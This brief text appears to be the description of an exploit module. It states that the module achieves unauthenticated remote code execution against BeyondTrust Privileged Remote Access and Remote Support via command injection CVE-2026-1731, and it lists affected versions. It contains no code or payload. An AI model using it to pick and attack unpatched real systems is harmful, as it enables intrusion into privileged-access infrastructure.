          This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
          Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior.
          Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.
